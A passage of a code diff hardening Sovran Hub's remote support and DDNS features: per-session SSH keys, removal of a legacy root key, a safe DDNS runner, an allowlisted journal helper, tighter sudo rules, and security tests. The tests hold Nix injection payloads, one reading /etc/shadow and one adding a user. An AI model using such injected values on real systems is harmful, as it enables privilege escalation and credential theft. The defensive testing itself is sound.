except (FileNotFoundError, json.JSONDecodeError):
_cancel_expiry_timer()
return
session_id = info.get("session_id")
expires_at = info.get("expires_at")
if session_id and expires_at and time.time() < expires_at:
_schedule_expiry_timer(session_id, expires_at)
else:
_cancel_expiry_timer()
@app.on_event("shutdown")
async def _shutdown_domain_reachability():
"""Stop the background domain reachability checker."""
"""Stop the background domain reachability checker and cancel expiry timer."""
global _domain_reachability_task
async with _domain_reachability_task_lock:
task = _domain_reachability_task
@@ -6034,3 +6244,4 @@ async def _shutdown_domain_reachability():
task.cancel()
with contextlib.suppress(asyncio.CancelledError):
await task
_cancel_expiry_timer()
+44 -3
View File
@@ -110,12 +110,26 @@ function renderSupportInactive() {
'</div>',
'<div class="support-steps"><div class="support-steps-title">What happens:</div><ol>',
'<li>A restricted <code>sovran-support</code> user is created with limited access</li>',
'<li>Our SSH key is added only to that restricted account</li>',
'<li>Support\'s SSH key is added only to that restricted account — not to root</li>',
'<li>Wallet files are locked via access controls — not visible to support</li>',
'<li>You control if and when wallet access is granted (time-limited)</li>',
'<li>All session events are logged for your audit</li>',
'<li>Access expires automatically after 24 hours</li>',
'</ol></div>',
'<div class="support-key-section">',
'<label class="support-key-label" for="support-ssh-pubkey">',
'<strong>Paste the support SSH public key provided by Sovran Systems:</strong>',
'</label>',
'<textarea id="support-ssh-pubkey" class="support-key-input" rows="3" ',
'placeholder="ssh-ed25519 AAAA… support-session" ',
'spellcheck="false" autocomplete="off" autocorrect="off" autocapitalize="off"></textarea>',
'<p class="support-key-hint">',
'The key must start with <code>ssh-ed25519</code> or <code>ecdsa-sha2-nistp256</code>. ',
'Do not paste your own private key — only paste the one-time public key sent by Sovran Systems support.',
'</p>',
'</div>',
'<button class="btn support-btn-enable" id="btn-support-enable">Enable Support Access</button>',
'<p id="support-key-error" class="support-key-error" style="display:none;color:#c0392b;margin-top:8px;"></p>',
'<p class="support-fine-print">You can revoke access at any time. When you end the session, you\'ll be able to disable SSH to return to the default secure state.</p>',
'</div>',
].join("");
@@ -227,16 +241,43 @@ function renderSupportRemoved(verified) {
async function enableSupport() {
var btn = document.getElementById("btn-support-enable");
var errEl = document.getElementById("support-key-error");
var textarea = document.getElementById("support-ssh-pubkey");
if (errEl) { errEl.style.display = "none"; errEl.textContent = ""; }
var sshKey = textarea ? textarea.value.trim() : "";
if (!sshKey) {
if (errEl) { errEl.textContent = "Please paste the SSH public key provided by Sovran Systems support."; errEl.style.display = "block"; }
return;
}
// Client-side pre-validation: key must start with a known algorithm prefix
var validPrefixes = ["ssh-ed25519 ", "ecdsa-sha2-nistp256 ", "ecdsa-sha2-nistp384 ", "ecdsa-sha2-nistp521 ", "sk-ssh-ed25519@openssh.com "];
var hasValidPrefix = validPrefixes.some(function(p) { return sshKey.startsWith(p); });
if (!hasValidPrefix) {
if (errEl) { errEl.textContent = "Invalid key format. The key must start with ssh-ed25519 or ecdsa-sha2-nistp256. Do not paste a private key."; errEl.style.display = "block"; }
return;
}
if (sshKey.indexOf("\n") !== -1) {
if (errEl) { errEl.textContent = "The key must be a single line. Please check the pasted value."; errEl.style.display = "block"; }
return;
}
if (btn) { btn.disabled = true; btn.textContent = "Enabling…"; }
try {
await apiFetch("/api/support/enable", { method: "POST" });
await apiFetch("/api/support/enable", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ ssh_public_key: sshKey }),
});
var status = await apiFetch("/api/support/status");
_supportStatus = status;
_supportEnabledAt = status.enabled_at;
renderSupportActive(status);
} catch (err) {
if (btn) { btn.disabled = false; btn.textContent = "Enable Support Access"; }
alert("Failed to enable support access. Please try again.");
var detail = (err && err.detail) ? err.detail : "Failed to enable support access. Please check the key and try again.";
if (errEl) { errEl.textContent = detail; errEl.style.display = "block"; }
else { alert(detail); }
}
}
+283
View File
@@ -0,0 +1,283 @@
"""Sovran Hub — injectable support session operations.
Functions here handle legacy migration, root-key removal, and support-session
expiry. All filesystem paths, clocks, and callback functions are injectable
so that the test suite can exercise the exact production implementations with
temporary files and mocks rather than maintaining separate copies.
All functions depend only on the Python standard library and the co-located
``security_helpers`` module.
"""
from __future__ import annotations
import json
import os
import re
import tempfile
import time as _time_module
from typing import Callable
# ── Legacy Njalla curl line regex ─────────────────────────────────────────────
#
# Matches both forms written by old Hub versions:
# curl [flags] https://njal.la/... (unquoted)
# curl [flags] "https://njal.la/..." (quoted — historical form)
#
# Optional flags (in order): --silent, --max-time N, --fail
#
# Rejected outright: semicolons, pipes, backticks, redirects, newlines,
# ${...} except the literal ${IP} placeholder, and any extra arguments.
_LEGACY_NJALLA_CURL_RE = re.compile(
r'^curl\s+(?:--silent\s+)?(?:--max-time\s+\d+\s+)?(?:--fail\s+)?'
r'(?:'
r'"(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f"]|\$\{IP\})+)"' # group 1: quoted
r'|(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f"]|\$\{IP\})+)' # group 2: unquoted
r')$'
)
# The exact base64 blob of the historical fleet-wide root support key that
# was shipped with old releases of Sovran_SystemsOS and must be removed from
# /root/.ssh/authorized_keys on upgrade.
LEGACY_ROOT_KEY_BLOB = (
"AAAAC3NzaC1lZDI1NTE5AAAAIPxPF2Qm11FQxC20wydKtlmn/Bo07YnDda3b9/CyXxQP"
)
def remove_legacy_root_key(
authorized_keys_path: str,
target_blob: str,
*,
audit_fn: Callable[[str, str], None] | None = None,
) -> bool:
"""Remove the exact historical fleet-wide support key from an authorized_keys file.
Identifies the key by its exact base64 blob (``parts[1]``), regardless of
algorithm prefix or comment field. All other keys, blank lines, and comment
lines are preserved unchanged. The file is written back atomically.
Args:
authorized_keys_path: Path to the authorized_keys file to modify.
target_blob: The exact base64 key blob to remove. Only lines whose
second whitespace-delimited field matches this value are removed;
no substring or comment matching is performed.
audit_fn: Optional callback ``(event: str, details: str)`` for audit
logging. The full key blob is **never** passed to this callback.
Returns:
``True`` if the file was modified (at least one line removed),
``False`` if unchanged or absent.
"""
def _audit(event: str, details: str = "") -> None:
if audit_fn:
audit_fn(event, details)
try:
with open(authorized_keys_path, "r") as f:
lines = f.readlines()
except FileNotFoundError:
return False
except OSError:
return False
kept: list[str] = []
removed_count = 0
for line in lines:
stripped = line.rstrip("\n")
parts = stripped.split()
# Key lines have at least two space-separated fields: algorithm + blob.
# Remove only lines whose blob (parts[1]) matches exactly — no
# substring matching, no comment matching.
if len(parts) >= 2 and parts[1] == target_blob:
removed_count += 1
# Audit without logging the key blob itself.
_audit("LEGACY_ROOT_KEY_REMOVED", "removed exact historical root support key")
else:
kept.append(line)
if removed_count == 0:
return False
# Atomic write: mkstemp in same directory + os.replace
auth_dir = os.path.dirname(os.path.abspath(authorized_keys_path))
fd, tmp = tempfile.mkstemp(dir=auth_dir, prefix=".authorized_keys_tmp")
try:
with os.fdopen(fd, "w") as f:
f.writelines(kept)
os.chmod(tmp, 0o600)
os.replace(tmp, authorized_keys_path)
except Exception:
try:
os.unlink(tmp)
except OSError:
pass
return False
_audit(
"LEGACY_ROOT_KEY_CLEANUP_COMPLETE",
f"removed={removed_count} keys_retained={len(kept)}",
)
return True
def migrate_legacy_njalla_script(
script_path: str,
validate_fn: Callable[[str], str],
save_fn: Callable[[list[str]], None],
load_fn: Callable[[], list[str]],
*,
audit_fn: Callable[[str, str], None] | None = None,
) -> None:
"""Safely migrate legacy curl DDNS lines from a njalla.sh script to JSON store.
Reads the script **without** executing or sourcing it. Parses only the
exact narrow curl-pattern lines (quoted or unquoted) written by old Hub
versions. Any other line is silently discarded — never executed or logged
(it may contain secret tokens).
On successful persistence the script is archived with mode ``0o000`` so
it can no longer be executed. If persistence fails the script is left
**untouched**.
Args:
script_path: Path to the legacy njalla.sh file.
validate_fn: URL validation function; raises ``ValueError`` on invalid
URLs. Callers must substitute the ``${IP}`` placeholder before
calling — this function passes ``url.replace("${IP}", "127.0.0.1")``
to the validator.
save_fn: Callable that atomically writes a ``list[str]`` URL list to
the persistent JSON store.
load_fn: Callable that returns the current ``list[str]`` URL list from
the persistent store.
audit_fn: Optional callback ``(event: str, details: str)`` for audit
logging. Token-bearing URLs are **never** passed to this callback.
"""
def _audit(event: str, details: str = "") -> None:
if audit_fn:
audit_fn(event, details)
try:
with open(script_path, "r") as f:
content = f.read()
except FileNotFoundError:
return
except OSError:
return
existing_urls = load_fn()
new_urls: list[str] = []
for raw_line in content.splitlines():
line = raw_line.strip()
if not line or line.startswith("#") or line.startswith("IP=") or line.startswith("#!/"):
continue
m = _LEGACY_NJALLA_CURL_RE.match(line)
if not m:
# Unrecognised line — discard silently, do NOT log (may contain tokens)
continue
# group(1) = quoted form, group(2) = unquoted form
raw_url = m.group(1) or m.group(2)
# Substitute placeholder so host/scheme/path validation works
url_to_validate = raw_url.replace("${IP}", "127.0.0.1")
try:
validate_fn(url_to_validate)
except ValueError:
continue # Silently discard invalid/non-Njal.la URLs
if raw_url not in existing_urls and raw_url not in new_urls:
new_urls.append(raw_url)
if new_urls:
combined = existing_urls + new_urls
try:
save_fn(combined)
except Exception:
# Persistence failed — leave the script untouched, return without
# archiving so the migration can be retried.
return
_audit("NJALLA_MIGRATION", f"migrated {len(new_urls)} DDNS URLs from legacy script")
# Archive: remove all permission bits so cron/any mechanism cannot run it
try:
os.chmod(script_path, 0o000)
except OSError:
pass
def expire_if_stale(
status_file: str,
*,
clock_fn: Callable[[], float] | None = None,
disable_fn: Callable[[], bool] | None = None,
audit_fn: Callable[[str, str], None] | None = None,
session_id: str | None = None,
expected_expiry: float | None = None,
max_session_seconds: float = 86400.0,
) -> bool:
"""Expire a support session if its deadline has passed.
**Stale-timer guard:** when ``session_id`` and/or ``expected_expiry`` are
provided (used by the server-side timer callback), the stored session
metadata is compared field-by-field. A mismatch means a replacement
session has been started after this timer was scheduled; in that case the
function returns ``False`` without touching anything.
Args:
status_file: Path to the JSON session metadata file.
clock_fn: Callable returning current Unix time (default: ``time.time``).
disable_fn: Callable that performs the full disable sequence — removes
the support key, removes wallet-unlock metadata, restores deny
ACLs, clears session metadata, and audits the event. If ``None``,
expiry is detected but no action is taken (useful for tests that
want to inspect detection only).
audit_fn: Optional callback ``(event: str, details: str)`` for audit
logging.
session_id: If given, expiry is skipped unless the stored
``session_id`` field matches exactly.
expected_expiry: If given, expiry is skipped unless the stored
``expires_at`` field matches exactly.
max_session_seconds: Legacy fallback: maximum age (from ``enabled_at``)
when ``expires_at`` is absent.
Returns:
``True`` if a session was expired, ``False`` otherwise.
"""
_now = clock_fn if clock_fn is not None else _time_module.time
def _audit(event: str, details: str = "") -> None:
if audit_fn:
audit_fn(event, details)
def _disable() -> bool:
return disable_fn() if disable_fn is not None else True
try:
with open(status_file, "r") as f:
info = json.load(f)
except (FileNotFoundError, json.JSONDecodeError):
return False
# Stale-timer guard
if session_id is not None and info.get("session_id") != session_id:
return False
if expected_expiry is not None and info.get("expires_at") != expected_expiry:
return False
expires_at = info.get("expires_at")
now = _now()
if expires_at is None:
enabled_at = info.get("enabled_at", 0)
if enabled_at and (now - enabled_at) > max_session_seconds:
_audit("SUPPORT_EXPIRED", "legacy session without expires_at exceeded max duration")
_disable()
return True
return False
if now >= expires_at:
_audit("SUPPORT_EXPIRED", f"session expired at {expires_at:.0f}")
_disable()
return True
return False
+3 -6
View File
@@ -192,12 +192,9 @@ backup /etc/nix-bitcoin-secrets/ localhost/
};
# ── Cron ───────────────────────────────────────────────────
services.cron = {
enable = true;
systemCronJobs = [
"*/15 * * * * root /run/current-system/sw/bin/bash /var/lib/njalla/njalla.sh"
];
};
# The legacy njalla.sh root cron job has been replaced by the systemd timer
# defined in modules/core/njalla.nix (sovran-ddns-update.timer). Cron is
# retained so that rsnapshot and other module-defined cron jobs continue to run.
# ── Tor ────────────────────────────────────────────────────
services.tor = { enable = true; client.enable = true; torsocks.enable = true; };
+116 -24
View File
@@ -1,32 +1,124 @@
{ config, pkgs, lib, ... }:
{
# ── Ensure njalla directory and base script exist on every build ──
# ── Ensure njalla directory exists on every build ────────────────────────
systemd.tmpfiles.rules = [
"d /var/lib/njalla 0750 root root -"
];
# ── Create base njalla.sh if it doesn't exist yet ───────────
systemd.services.njalla-init = {
description = "Initialize Njal.la DDNS script if missing";
wantedBy = [ "multi-user.target" ];
serviceConfig = {
Type = "oneshot";
RemainAfterExit = true;
};
unitConfig = {
ConditionPathExists = "!/var/lib/njalla/njalla.sh";
};
script = ''
cat > /var/lib/njalla/njalla.sh <<'SCRIPT'
#!/usr/bin/env bash
IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)
## Add DDNS entries below one curl per line
## Managed via Sovran Hub web interface
SCRIPT
chmod 700 /var/lib/njalla/njalla.sh
'';
# ── Install the shared validation helper so the DDNS runner can import it
# The exact same _validate_ddns_url() function used by the Hub web application
# is installed here as a read-only system file. The DDNS runner imports it
# directly so the two code paths share one validator — no weaker inline copy.
environment.etc."sovran/security_helpers.py" = {
source = ../../app/sovran_systemsos_web/security_helpers.py;
mode = "0444";
user = "root";
group = "root";
};
}
# ── Safe DDNS update service ─────────────────────────────────────────────
# Reads DDNS update URLs from the JSON store written by the Hub API and
# invokes curl directly — no shell interpolation, no script execution.
# Replaces the legacy root cron job that ran /var/lib/njalla/njalla.sh.
systemd.services.sovran-ddns-update = {
description = "Sovran Njal.la DDNS update (safe JSON-based runner)";
wants = [ "network-online.target" ];
after = [ "network-online.target" ];
serviceConfig = {
Type = "oneshot";
User = "root";
ExecStart = "${pkgs.python3}/bin/python3 /var/lib/sovran/ddns-update.py";
# Harden the service — it only needs network access and read access to
# /var/lib/njalla/ddns_urls.json.
NoNewPrivileges = true;
ProtectSystem = "strict";
ReadWritePaths = [ "/var/lib/njalla" ];
ReadOnlyPaths = [ "/etc/sovran" ];
ProtectHome = true;
PrivateTmp = true;
RestrictAddressFamilies = [ "AF_INET" "AF_INET6" ];
};
};
# Run the update every 15 minutes
systemd.timers.sovran-ddns-update = {
description = "Sovran Njal.la DDNS update timer";
wantedBy = [ "timers.target" ];
timerConfig = {
OnBootSec = "2min";
OnUnitActiveSec = "15min";
Persistent = true;
};
};
# Install the Python runner script at build time so the service can find it.
# The script is owned by root and not world-writable.
# Uses _validate_ddns_url() from /etc/sovran/security_helpers.py — the same
# production validator used by the Hub API — before executing any curl call.
# No shell is used; no redirects; no script execution.
# ${IP} placeholder is preserved in stored URLs and substituted at runtime;
# the URL is validated after substitution so any remaining $ is rejected.
system.activationScripts.sovran-ddns-update-script = ''
install -d -m 0755 /var/lib/sovran
cat > /var/lib/sovran/ddns-update.py <<'PYEOF'
#!/usr/bin/env python3
"""Sovran safe DDNS update runner.
Reads ddns_urls.json, substitutes the public IP for the ''${IP} placeholder,
validates each URL using the production _validate_ddns_url() from
/etc/sovran/security_helpers.py, then calls curl per URL.
No shell interpolation. No redirects. No script execution.
"""
import ipaddress, json, os, subprocess, sys
sys.path.insert(0, '/etc/sovran')
try:
from security_helpers import _validate_ddns_url
except ImportError:
sys.exit(1) # validator missing fail so systemd logs the misconfiguration
URLS_FILE = "/var/lib/njalla/ddns_urls.json"
try:
with open(URLS_FILE) as f:
urls = json.load(f)
if not isinstance(urls, list):
raise ValueError("not a list")
except Exception:
sys.exit(0) # no URLs configured nothing to do
# Resolve current public IP once
public_ip = ""
try:
r = subprocess.run(
["dig", "@resolver4.opendns.com", "myip.opendns.com", "+short", "-4"],
capture_output=True, text=True, timeout=10,
)
raw = r.stdout.strip().splitlines()[0] if r.stdout.strip() else ""
ipaddress.ip_address(raw) # validates raises if not a real IP
public_ip = raw
except Exception:
pass
if not public_ip:
sys.exit(0) # no IP resolved skip to avoid sending bare ''${IP}
for raw_url in urls:
try:
# Substitute ''${IP} placeholder then validate through production validator.
# After substitution there must be no $ left; _validate_ddns_url rejects
# any remaining $ expression.
url = raw_url.replace("''${IP}", public_ip)
_validate_ddns_url(url)
subprocess.run(
["curl", "--silent", "--max-time", "15", "--fail", "--no-location", url],
timeout=20, check=False,
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
)
except Exception:
pass
PYEOF
chmod 0500 /var/lib/sovran/ddns-update.py
'';
}
+175
View File
@@ -0,0 +1,175 @@
#!/usr/bin/env python3
"""Sovran restricted journal helper.
A root-owned, non-user-writable diagnostic tool that wraps journalctl with
a strict allowlist of safe flags. Replaces the ``journalctl *`` sudo rule
in tech-support.nix.
Accepted flags:
--unit / -u <name> must be one of the explicitly approved service units
--lines / -n <N> positive integer (max 10000)
--priority / -p <level> 0-7 or emerg/alert/crit/err/warning/notice/info/debug
--since <datetime> ISO 8601 date/datetime (no paths, no filesystem roots)
--until <datetime> ISO 8601 date/datetime (no paths, no filesystem roots)
--output / -o <format> short | short-iso | cat | json | verbose
At least one ``--unit`` flag is required; whole-journal queries are rejected.
All other flags, paths, directories, roots, namespaces, and output
destinations are rejected with a non-zero exit code.
"""
import re
import subprocess
import sys
# ── Allowlists ────────────────────────────────────────────────────────────────
# Explicit approved units. Only these four services may be queried through
# the restricted journal helper. Any other unit is rejected.
_APPROVED_UNITS: frozenset[str] = frozenset([
"sovran-hub-web.service",
"caddy.service",
"bitcoind.service",
"lnd.service",
])
_ALLOWED_PRIORITIES = frozenset([
"0", "1", "2", "3", "4", "5", "6", "7",
"emerg", "alert", "crit", "err", "warning", "notice", "info", "debug",
])
_ALLOWED_OUTPUT_FORMATS = frozenset([
"short", "short-iso", "cat", "json", "verbose",
])
# ISO 8601 date or datetime: YYYY-MM-DD or YYYY-MM-DDTHH:MM:SS (no paths)
_DATETIME_RE = re.compile(r'^\d{4}-\d{2}-\d{2}(T\d{2}:\d{2}(:\d{2})?)?$')
_MAX_LINES = 10000
# ── Argument parser ───────────────────────────────────────────────────────────
def _die(msg: str) -> None:
print(f"sovran-journal-helper: {msg}", file=sys.stderr)
sys.exit(1)
def _validate_unit(val: str) -> str:
if val not in _APPROVED_UNITS:
_die(
f"rejected unit name: {val!r} "
f"(allowed: {', '.join(sorted(_APPROVED_UNITS))})"
)
return val
def _validate_lines(val: str) -> str:
try:
n = int(val)
except ValueError:
_die(f"rejected: --lines must be a positive integer, got {val!r}")
if n <= 0 or n > _MAX_LINES:
_die(f"rejected: --lines must be between 1 and {_MAX_LINES}, got {n}")
return str(n)
def _validate_priority(val: str) -> str:
if val not in _ALLOWED_PRIORITIES:
_die(f"rejected priority: {val!r}")
return val
def _validate_datetime(val: str) -> str:
if not _DATETIME_RE.match(val):
_die(f"rejected: datetime {val!r} (must be YYYY-MM-DD or YYYY-MM-DDTHH:MM:SS)")
return val
def _validate_output(val: str) -> str:
if val not in _ALLOWED_OUTPUT_FORMATS:
_die(f"rejected output format: {val!r}")
return val
def main() -> None:
args = sys.argv[1:]
cmd = ["journalctl"]
unit_count = 0
i = 0
while i < len(args):
arg = args[i]
if arg in ("--unit", "-u"):
i += 1
if i >= len(args):
_die("--unit requires a value")
cmd += ["--unit", _validate_unit(args[i])]
unit_count += 1
elif arg.startswith("--unit="):
cmd += ["--unit", _validate_unit(arg[len("--unit="):])]
unit_count += 1
elif arg in ("--lines", "-n"):
i += 1
if i >= len(args):
_die("--lines requires a value")
cmd += ["--lines", _validate_lines(args[i])]
elif arg.startswith("--lines="):
cmd += ["--lines", _validate_lines(arg[len("--lines="):])]
elif re.match(r'^-n\d+$', arg):
cmd += ["--lines", _validate_lines(arg[2:])]
elif arg in ("--priority", "-p"):
i += 1
if i >= len(args):
_die("--priority requires a value")
cmd += ["--priority", _validate_priority(args[i])]
elif arg.startswith("--priority="):
cmd += ["--priority", _validate_priority(arg[len("--priority="):])]
elif arg == "--since":
i += 1
if i >= len(args):
_die("--since requires a value")
cmd += ["--since", _validate_datetime(args[i])]
elif arg.startswith("--since="):
cmd += ["--since", _validate_datetime(arg[len("--since="):])]
elif arg == "--until":
i += 1
if i >= len(args):
_die("--until requires a value")
cmd += ["--until", _validate_datetime(args[i])]
elif arg.startswith("--until="):
cmd += ["--until", _validate_datetime(arg[len("--until="):])]
elif arg in ("--output", "-o"):
i += 1
if i >= len(args):
_die("--output requires a value")
cmd += ["--output", _validate_output(args[i])]
elif arg.startswith("--output="):
cmd += ["--output", _validate_output(arg[len("--output="):])]
else:
_die(
f"rejected flag: {arg!r}. "
"Allowed flags: --unit, --lines, --priority, --since, --until, --output"
)
i += 1
if unit_count == 0:
_die(
"at least one --unit flag is required; "
f"allowed units: {', '.join(sorted(_APPROVED_UNITS))}"
)
result = subprocess.run(cmd)
sys.exit(result.returncode)
if __name__ == "__main__":
main()
+33 -12
View File
@@ -11,11 +11,10 @@
# (u:sovran-support:---) by the Hub API as soon as a session is started.
# • The Hub web UI lets the user grant time-limited access to wallet files
# and view a full audit log of every session event.
# • Scoped sudo rules allow support staff to edit custom.nix, trigger rebuilds,
# restart services, and read logs — without full root or wallet access.
#
# The `acl` package provides the `setfacl` / `getfacl` utilities required by
# the Hub's _apply_wallet_acls() and _revoke_wallet_acls() helpers.
# • Scoped sudo rules allow support staff to restart specific services and
# read logs — without full root, wallet access, Nix editing, or rebuilds.
# • journalctl access is provided only through the root-owned
# sovran-journal-helper script (see below) with an allowlist of safe flags.
{
# ── System packages ────────────────────────────────────────────────────────
environment.systemPackages = [ pkgs.acl ];
@@ -42,18 +41,40 @@
"d /var/lib/sovran-support/.ssh 0700 sovran-support sovran-support -"
];
# ── Restricted journal helper ─────────────────────────────────────────────
# The helper is root-owned, not writable by any user, and accepts only a
# narrow allowlist of safe journalctl flags. It is the sole mechanism by
# which the support user may read journal logs.
environment.etc."sovran/sovran-journal-helper.py" = {
source = ./sovran-journal-helper.py;
mode = "0500";
user = "root";
group = "root";
};
# ── Scoped sudo rules for support staff ───────────────────────────────────
# Grants only the minimum privileges needed for a support session.
# Support staff cannot stop/disable/mask services or access wallet files.
# Grants only the minimum privileges needed for diagnostic support.
# Editing Nix configuration and running nixos-rebuild are intentionally
# excluded: combining those two permissions provides a trivial path to
# arbitrary root code execution. Systemctl access is limited to a small
# allowlist of named service restart operations. journalctl is available
# only through the restricted helper above.
security.sudo.extraRules = [
{
users = [ "sovran-support" ];
commands = [
{ command = "/run/current-system/sw/bin/nano /etc/nixos/custom.nix"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/nano /etc/nixos/configuration.nix"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/nixos-rebuild switch --flake /etc/nixos"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/systemctl restart *"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/journalctl *"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/systemctl restart sovran-hub-web.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/systemctl restart caddy.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/systemctl restart bitcoind.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/systemctl restart lnd.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/systemctl status sovran-hub-web.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/systemctl status caddy.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/systemctl status bitcoind.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/systemctl status lnd.service"; options = [ "NOPASSWD" ]; }
# Restricted journal helper: accepts only safe flags (--unit, --lines,
# --priority, --since, --until, --output). Rejects paths, directories,
# namespaces, roots, and arbitrary output destinations.
{ command = "/run/current-system/sw/bin/python3 /etc/sovran/sovran-journal-helper.py *"; options = [ "NOPASSWD" ]; }
];
}
];
+922
View File
@@ -0,0 +1,922 @@
"""Security regression tests for Sovran Hub security helpers.
Tests exercise the exact production implementations — no helpers are
redefined or simulated here. Every test calls the deployed code.
Tests must never:
- reboot, rebuild, or alter real SSH keys
- access the network
- write to system paths
"""
import base64
import json
import os
import sys
import tempfile
import unittest
# Add the app package to the path so we can import without the full FastAPI tree.
_REPO_ROOT = os.path.normpath(os.path.join(os.path.dirname(__file__), ".."))
_APP_PARENT = os.path.join(_REPO_ROOT, "app")
if _APP_PARENT not in sys.path:
sys.path.insert(0, _APP_PARENT)
from sovran_systemsos_web.security_helpers import ( # noqa: E402
_nix_escape,
NPUB_RE,
_validate_npub,
_validate_ddns_url,
_validate_ssh_pubkey,
_DDNS_ALLOWED_HOSTNAMES,
_bech32_decode,
)
from sovran_systemsos_web import support_ops # noqa: E402
# ---------------------------------------------------------------------------
# Nix string escaping
# ---------------------------------------------------------------------------
class TestNixEscape(unittest.TestCase):
"""_nix_escape must prevent injection into Nix string literals."""
def test_double_quotes_escaped(self):
self.assertEqual(_nix_escape('"hello"'), '\\"hello\\"')
def test_backslash_escaped(self):
self.assertEqual(_nix_escape("a\\b"), "a\\\\b")
def test_nix_interpolation_escaped(self):
self.assertEqual(_nix_escape("${evil}"), "\\${evil}")
def test_newline_escaped(self):
self.assertEqual(_nix_escape("a\nb"), "a\\nb")
def test_carriage_return_escaped(self):
self.assertEqual(_nix_escape("a\rb"), "a\\rb")
def test_tab_escaped(self):
self.assertEqual(_nix_escape("a\tb"), "a\\tb")
def test_semicolons_unchanged(self):
self.assertEqual(_nix_escape("a;b"), "a;b")
def test_valid_timezone(self):
self.assertEqual(_nix_escape("America/New_York"), "America/New_York")
def test_injection_payload_quotes_and_interpolation(self):
payload = '"; import <nixpkgs/nixos/tests/keymap.nix> { ${builtins.readFile "/etc/shadow"} }'
result = _nix_escape(payload)
import re as _re
self.assertIsNone(_re.search(r'(?<!\\)\$\{', result))
def test_npub_injection(self):
payload = 'npub1aaa"; extraUsers.evil.isNormalUser = true; #'
result = _nix_escape(payload)
self.assertNotIn('"', result.replace('\\"', ""))
# ---------------------------------------------------------------------------
# Nostr npub validation — regex pre-filter
# ---------------------------------------------------------------------------
class TestNpubValidationRegex(unittest.TestCase):
"""NPUB_RE must enforce the npub1 + 58 lowercase bech32 shape."""
# 58 bech32 chars after "npub1"
VALID_SHAPE = "npub1" + "q" * 58
def test_valid_shape_accepted(self):
self.assertIsNotNone(NPUB_RE.fullmatch(self.VALID_SHAPE))
def test_wrong_prefix_rejected(self):
self.assertIsNone(NPUB_RE.fullmatch("nsec1" + "q" * 58))
def test_too_short_rejected(self):
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 57))
def test_too_long_rejected(self):
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 59))
def test_uppercase_rejected(self):
self.assertIsNone(NPUB_RE.fullmatch("NPUB1" + "q" * 58))
def test_injection_quote_rejected(self):
self.assertIsNone(NPUB_RE.fullmatch('npub1aaa"; extraUsers.evil.isNormalUser = true; #'))
def test_injection_interpolation_rejected(self):
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "${" + "q" * 52))
# ---------------------------------------------------------------------------
# Nostr npub validation — full bech32
# ---------------------------------------------------------------------------
class TestNpubBech32Validation(unittest.TestCase):
"""_validate_npub must verify the full bech32 checksum and payload length."""
BECH32_CHARSET = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
def _make_npub(self, payload_bytes: bytes) -> str | None:
"""Build a syntactically valid npub from raw 32-byte payload."""
from sovran_systemsos_web.security_helpers import (
_bech32_hrp_expand,
_bech32_polymod,
_bech32_create_checksum,
)
def _convertbits(data, frombits, tobits, pad=True):
acc, bits, ret, maxv = 0, 0, [], (1 << tobits) - 1
for value in data:
acc = ((acc << frombits) | value)
bits += frombits
while bits >= tobits:
bits -= tobits
ret.append((acc >> bits) & maxv)
if pad and bits:
ret.append((acc << (tobits - bits)) & maxv)
return ret
hrp = "npub"
data5 = _convertbits(list(payload_bytes), 8, 5)
checksum = _bech32_create_checksum(hrp, data5)
full = data5 + checksum
return hrp + "1" + "".join(self.BECH32_CHARSET[d] for d in full)
def test_valid_npub_passes_bech32(self):
npub = self._make_npub(bytes(32))
self.assertIsNotNone(npub)
self.assertTrue(_validate_npub(npub))
def test_bech32_decode_returns_32_bytes(self):
npub = self._make_npub(b'\x01' * 32)
result = _bech32_decode(npub)
self.assertIsNotNone(result)
hrp, payload = result
self.assertEqual(hrp, "npub")
self.assertEqual(len(payload), 32)
def test_corrupted_checksum_rejected(self):
npub = self._make_npub(bytes(32))
# Flip last character in the data part
corrupted = npub[:-1] + ("q" if npub[-1] != "q" else "p")
self.assertFalse(_validate_npub(corrupted))
def test_mixed_case_rejected(self):
npub = self._make_npub(bytes(32))
mixed = npub[:10].upper() + npub[10:]
self.assertFalse(_validate_npub(mixed))
def test_wrong_hrp_rejected(self):
self.assertFalse(_validate_npub("nsec1" + "q" * 58))
def test_synthetic_all_q_rejected_by_checksum(self):
self.assertFalse(_validate_npub("npub1" + "q" * 58))
# ---------------------------------------------------------------------------
# DDNS URL validation
# ---------------------------------------------------------------------------
class TestDdnsUrlValidation(unittest.TestCase):
"""_validate_ddns_url must enforce all security constraints."""
# VALID_URL has no ${IP}: callers must substitute before validation.
VALID_URL = "https://njal.la/update/?h=test.example.com&k=TOKEN&a=1.2.3.4"
def test_valid_njalla_url_accepted(self):
self.assertEqual(_validate_ddns_url(self.VALID_URL), self.VALID_URL)
def test_www_njalla_accepted(self):
url = "https://www.njal.la/update/?h=test&k=TOKEN"
self.assertEqual(_validate_ddns_url(url), url)
def test_http_scheme_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("http://njal.la/update/?k=TOKEN")
def test_ftp_scheme_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("ftp://njal.la/update/?k=TOKEN")
def test_credentials_in_url_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("******njal.la/update/?k=TOKEN")
def test_fragment_rejected(self):
with self.assertRaises(ValueError):
